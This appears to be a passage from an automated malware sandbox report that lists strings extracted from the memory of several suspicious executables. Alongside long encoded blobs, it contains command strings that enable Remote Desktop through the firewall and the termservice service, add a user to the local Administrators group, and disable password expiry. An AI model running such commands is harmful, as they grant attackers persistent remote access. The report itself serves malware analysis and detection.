U2q3kYTSV0uEmglMreSo4OWUefL0aZqqeO035UR6JYvAGYDsPVKIwM1l=XRcK0CQG0uEm5nGnd7CJ31VqBHz5YTStgcca4VI6Tcwq4WCtc2SmfKKZMJTh3xSqYccb4U4CUq==0trnRBv=UwMd3VQlgvEc7HGedripPpmMO1HnfySVdM0lUwMd3VQlgvEc7HGedripPpqMO1HnfySVdM0lXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTD8YjM6TTMp6mKjfK4bgrSj16Y=XxAm4FQcguW95WJ=P roTO==P rpRe==P roSe==P rpSO==TTMphkQnguAS4Wm 0q==R fXfdMl4EslPpzlSX7aOSj8LdI9h0okdMojBCYbKHdffWFcL9rdOgwTdMSc53KPKIJ7Nm3aOKPkMr==M9P8WVcigsz=L9rdOgwr2MV8LsPdNy==Xw0U4VEsdwMj5CUagLZ=OMMV4UIUgwcm5nqkdLq iWGsO0VnhxSudM5l4UL OKQg5GJ6Kl==L7==fS9SiEMogSV8EXB6N2V7QE==fTH0hu==fcwl4E4mVSMW3k4afcH8MGuUd80Q1JGsO0rn2NN=PtrnRBvTPJb=PtrnRBvTP z=PtrnRBvTP D=PtrnRBvTPSP=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: Gxtuum.exe, 00000019.00000002.3060611689.0000000000D11000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 00000019.00000002.3060611689.0000000000D11000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd122f964d1224a00cff1eef50e53e28607c6bc37dc50874878dcb010336ed9061b6eb278ac18116a6aa0b8e6b8858603044624PJ8SQhDqQIVoFTBjOE3=OQIcgR9kYxLm4WU 12lkgKmqQIVnSy==XoRcgFPmMISjiO==OIMjiO==P E9RBbYPcMdHA==UT9RiVQmOcMVSQ==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmXT2e2G==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA40VIef9sK4GKhdHGwf6CeO1DrXTI9hlMUfq==XcMk1SSbNA4wLvAEKEaHKHdpP7JaXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmfdMl4EslPpz8XxAm41EaeND=XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA4Z0ceewn8KmYh1L0ogA==MLMKWTEJXa0xLUmuLV==0uwnhy==Xu0K0y==UQMLdMHXgdDXfSHXeTDX1cbX1NzXfwDXgMVX2wRX1NPXexPXeS4Xf R=1TAc4A0dewoZR2meeH afKC21TAc4A0dewn=1SoghA0dewn=2tv=2Jv=2Jz=2JD=WMwgge==dxIRhBjoOm==dxIRhFHZOoZ=2N9c2woj1SSbfxDoeNEghccnOTwSfUQTSwD+SwH+ORsjiU9iedDmNojiLm==iq==MdMlfVL2SG==fS9cgErsP9Wb5Gl=dSMpgkQlPpzlSGmhUSMRYkATdNQcN3aofL0jW0 g1A==XxAm41EaeKI97Gu2TLQsZZL XS0d7H37erZ=TNQghkz=VSwqhEQrfSkWBEm70l==ULEw0y==Xwwl4Ez XSMa7XyefMp=Uw0aiE4rLv5cRg==TLQyPpPn0E4T1MoKSWCQerqQiU==TccR4EQf2MWbSXx=Wc0piE4nXS0nfE4sTS0kg0MoYSclWEQf2MWbSXx=PtvpRxLUQ 4VHQ==fcz=gSz=TS0liEQngsSL8XqaQnGjh0CU01v geNq2c0pgQWd1NI9Hyq8d80k3KKs4XUlPJXoOIRkQQVmGGgug00T2MWREUGee8Glg6qU003mS yheTAkQUMagwvYBGU7d1ZZMqWb3KyaSpyhdMocgkAm2JR L7RBV04ngwMl7CQJg2GbSmGb2LvkeNKcgwcmgg4o1TIc7CQofMOb205HrkUCGGfkQQVmOIR=OIREHe==STEahhVqOcgn4u==TS0liEQngsSL8XqaQnG8gLGm00H hxiqe90VQV9WgoSd53yiN20ofK0oN63c3NN=XRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4J2YieM0Q31OIN0Vd1vKqeNsSiEQrWcwkSQ==TS0khFQT2NAFRWQa1MAa4EQf2S9g4mihd1 lgLKs27LTheaZhNfnRRDsQtLTGz6UN0c=ONMlfUIo2wLkXRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4OWUefL0aZqqeO035UR6JYvAGYDsPVKIwM1l=XRcK0CQG0uEm5nGnd7CJ31VqBHz5YTStgcca4VI6Tcwq4WCtc2SmfKKZMJTh3xSqYccb4U4CUq==0trnRBv=UwMd3VQlgvEc7HGedripPpmMO1HnfySVdM0lUwMd3VQlgvEc7HGedripPpqMO1HnfySVdM0lXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTD8YjM6TTMp6mKjfK4bgrSj16Y=XxAm4FQcguW95WJ=P roTO==P rpRe==P roSe==P rpSO==TTMphkQnguAS4Wm 0q==R fXfdMl4EslPpzlSX7aOSj8LdI9h0okdMojBCYbKHdffWFcL9rdOgwTdMSc53KPKIJ7Nm3aOKPkMr==M9P8WVcigsz=L9rdOgwr2MV8LsPdNy==Xw0U4VEsdwMj5CUagLZ=OMMV4UIUgwcm5nqkdLq iWGsO0VnhxSudM5l4UL OKQg5GJ6Kl==L7==fS9SiEMogSV8EXB6N2V7QE==fTH0hu==fcwl4E4mVSMW3k4afcH8MGuUd80Q1JGsO0rn2NN=PtrnRBvTPJb=PtrnRBvTP z=PtrnRBvTP D=PtrnRBvTPSP=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: Gxtuum.exe, 0000001A.00000000.3054993851.0000000000D11000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000001A.00000000.3054993851.0000000000D11000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd122f964d1224a00cff1eef50e53e28607c6bc37dc50874878dcb010336ed9061b6eb278ac18116a6aa0b8e6b8858603044624PJ8SQhDqQIVoFTBjOE3=OQIcgR9kYxLm4WU 12lkgKmqQIVnSy==XoRcgFPmMISjiO==OIMjiO==P E9RBbYPcMdHA==UT9RiVQmOcMVSQ==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmXT2e2G==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA40VIef9sK4GKhdHGwf6CeO1DrXTI9hlMUfq==XcMk1SSbNA4wLvAEKEaHKHdpP7JaXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmfdMl4EslPpz8XxAm41EaeND=XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA4Z0ceewn8KmYh1L0ogA==MLMKWTEJXa0xLUmuLV==0uwnhy==Xu0K0y==UQMLdMHXgdDXfSHXeTDX1cbX1NzXfwDXgMVX2wRX1NPXexPXeS4Xf R=1TAc4A0dewoZR2meeH afKC21TAc4A0dewn=1SoghA0dewn=2tv=2Jv=2Jz=2JD=WMwgge==dxIRhBjoOm==dxIRhFHZOoZ=2N9c2woj1SSbfxDoeNEghccnOTwSfUQTSwD+SwH+ORsjiU9iedDmNojiLm==iq==MdMlfVL2SG==fS9cgErsP9Wb5Gl=dSMpgkQlPpzlSGmhUSMRYkATdNQcN3aofL0jW0 g1A==XxAm41EaeKI97Gu2TLQsZZL XS0d7H37erZ=TNQghkz=VSwqhEQrfSkWBEm70l==ULEw0y==Xwwl4Ez XSMa7XyefMp=Uw0aiE4rLv5cRg==TLQyPpPn0E4T1MoKSWCQerqQiU==TccR4EQf2MWbSXx=Wc0piE4nXS0nfE4sTS0kg0MoYSclWEQf2MWbSXx=PtvpRxLUQ 4VHQ==fcz=gSz=TS0liEQngsSL8XqaQnGjh0CU01v geNq2c0pgQWd1NI9Hyq8d80k3KKs4XUlPJXoOIRkQQVmGGgug00T2MWREUGee8Glg6qU003mS yheTAkQUMagwvYBGU7d1ZZMqWb3KyaSpyhdMocgkAm2JR L7RBV04ngwMl7CQJg2GbSmGb2LvkeNKcgwcmgg4o1TIc7CQofMOb205HrkUCGGfkQQVmOIR=OIREHe==STEahhVqOcgn4u==TS0liEQngsSL8XqaQnG8gLGm00H hxiqe90VQV9WgoSd53yiN20ofK0oN63c3NN=XRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4J2YieM0Q31OIN0Vd1vKqeNsSiEQrWcwkSQ==TS0khFQT2NAFRWQa1MAa4EQf2S9g4mihd1 lgLKs27LTheaZhNfnRRDsQtLTGz6UN0c=ONMlfUIo2wLkXRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4OWUefL0aZqqeO035UR6JYvAGYDsPVKIwM1l=XRcK0CQG0uEm5nGnd7CJ31VqBHz5YTStgcca4VI6Tcwq4WCtc2SmfKKZMJTh3xSqYccb4U4CUq==0trnRBv=UwMd3VQlgvEc7HGedripPpmMO1HnfySVdM0lUwMd3VQlgvEc7HGedripPpqMO1HnfySVdM0lXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTD8YjM6TTMp6mKjfK4bgrSj16Y=XxAm4FQcguW95WJ=P roTO==P rpRe==P roSe==P rpSO==TTMphkQnguAS4Wm 0q==R fXfdMl4EslPpzlSX7aOSj8LdI9h0okdMojBCYbKHdffWFcL9rdOgwTdMSc53KPKIJ7Nm3aOKPkMr==M9P8WVcigsz=L9rdOgwr2MV8LsPdNy==Xw0U4VEsdwMj5CUagLZ=OMMV4UIUgwcm5nqkdLq iWGsO0VnhxSudM5l4UL OKQg5GJ6Kl==L7==fS9SiEMogSV8EXB6N2V7QE==fTH0hu==fcwl4E4mVSMW3k4afcH8MGuUd80Q1JGsO0rn2NN=PtrnRBvTPJb=PtrnRBvTP z=PtrnRBvTP D=PtrnRBvTPSP=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: Gxtuum.exe, 0000001A.00000002.3060135852.0000000000D11000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000001A.00000002.3060135852.0000000000D11000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd122f964d1224a00cff1eef50e53e28607c6bc37dc50874878dcb010336ed9061b6eb278ac18116a6aa0b8e6b8858603044624PJ8SQhDqQIVoFTBjOE3=OQIcgR9kYxLm4WU 12lkgKmqQIVnSy==XoRcgFPmMISjiO==OIMjiO==P E9RBbYPcMdHA==UT9RiVQmOcMVSQ==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmXT2e2G==XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA40VIef9sK4GKhdHGwf6CeO1DrXTI9hlMUfq==XcMk1SSbNA4wLvAEKEaHKHdpP7JaXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7JrPmfdMl4EslPpz8XxAm41EaeND=XQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTE4V1QrfcMl7FOaesSff6 7G1bofx6t2NA4Z0ceewn8KmYh1L0ogA==MLMKWTEJXa0xLUmuLV==0uwnhy==Xu0K0y==UQMLdMHXgdDXfSHXeTDX1cbX1NzXfwDXgMVX2wRX1NPXexPXeS4Xf R=1TAc4A0dewoZR2meeH afKC21TAc4A0dewn=1SoghA0dewn=2tv=2Jv=2Jz=2JD=WMwgge==dxIRhBjoOm==dxIRhFHZOoZ=2N9c2woj1SSbfxDoeNEghccnOTwSfUQTSwD+SwH+ORsjiU9iedDmNojiLm==iq==MdMlfVL2SG==fS9cgErsP9Wb5Gl=dSMpgkQlPpzlSGmhUSMRYkATdNQcN3aofL0jW0 g1A==XxAm41EaeKI97Gu2TLQsZZL XS0d7H37erZ=TNQghkz=VSwqhEQrfSkWBEm70l==ULEw0y==Xwwl4Ez XSMa7XyefMp=Uw0aiE4rLv5cRg==TLQyPpPn0E4T1MoKSWCQerqQiU==TccR4EQf2MWbSXx=Wc0piE4nXS0nfE4sTS0kg0MoYSclWEQf2MWbSXx=PtvpRxLUQ 4VHQ==fcz=gSz=TS0liEQngsSL8XqaQnGjh0CU01v geNq2c0pgQWd1NI9Hyq8d80k3KKs4XUlPJXoOIRkQQVmGGgug00T2MWREUGee8Glg6qU003mS yheTAkQUMagwvYBGU7d1ZZMqWb3KyaSpyhdMocgkAm2JR L7RBV04ngwMl7CQJg2GbSmGb2LvkeNKcgwcmgg4o1TIc7CQofMOb205HrkUCGGfkQQVmOIR=OIREHe==STEahhVqOcgn4u==TS0liEQngsSL8XqaQnG8gLGm00H hxiqe90VQV9WgoSd53yiN20ofK0oN63c3NN=XRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4J2YieM0Q31OIN0Vd1vKqeNsSiEQrWcwkSQ==TS0khFQT2NAFRWQa1MAa4EQf2S9g4mihd1 lgLKs27LTheaZhNfnRRDsQtLTGz6UN0c=ONMlfUIo2wLkXRcK0CQG0uES6nyadsWtf6 U2q3kYTSV0uEmglMreSo4OWUefL0aZqqeO035UR6JYvAGYDsPVKIwM1l=XRcK0CQG0uEm5nGnd7CJ31VqBHz5YTStgcca4VI6Tcwq4WCtc2SmfKKZMJTh3xSqYccb4U4CUq==0trnRBv=UwMd3VQlgvEc7HGedripPpmMO1HnfySVdM0lUwMd3VQlgvEc7HGedripPpqMO1HnfySVdM0lXQ0x0D9uXaM4MWa9erdpf64UMJ8hfdOqgTD8YjM6TTMp6mKjfK4bgrSj16Y=XxAm4FQcguW95WJ=P roTO==P rpRe==P roSe==P rpSO==TTMphkQnguAS4Wm 0q==R fXfdMl4EslPpzlSX7aOSj8LdI9h0okdMojBCYbKHdffWFcL9rdOgwTdMSc53KPKIJ7Nm3aOKPkMr==M9P8WVcigsz=L9rdOgwr2MV8LsPdNy==Xw0U4VEsdwMj5CUagLZ=OMMV4UIUgwcm5nqkdLq iWGsO0VnhxSudM5l4UL OKQg5GJ6Kl==L7==fS9SiEMogSV8EXB6N2V7QE==fTH0hu==fcwl4E4mVSMW3k4afcH8MGuUd80Q1JGsO0rn2NN=PtrnRBvTPJb=PtrnRBvTP z=PtrnRBvTP D=PtrnRBvTPSP=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: am209.exe, 0000001B.00000002.3099898345.0000000006FB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: am209.exe, 0000001B.00000002.3099898345.0000000006FB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ssc config termservice start= autonet start termservice" /add /y" "net user "" /addnet localgroup "Administrators" "'" SET PasswordExpires=FALSEWMIC USERACCOUNT WHERE "Name = '
Source: am209.exe, 0000001B.00000000.3082833024.00000000008E1000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: net start termservice
Source: am209.exe, 0000001B.00000000.3082833024.00000000008E1000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: am209.exe, 0000001B.00000002.3097345897.00000000008E1000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: net start termservice
Source: am209.exe, 0000001B.00000002.3097345897.00000000008E1000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: defnur.exe, 0000001C.00000002.3099513669.0000000000E31000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: net start termservice
Source: defnur.exe, 0000001C.00000002.3099513669.0000000000E31000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 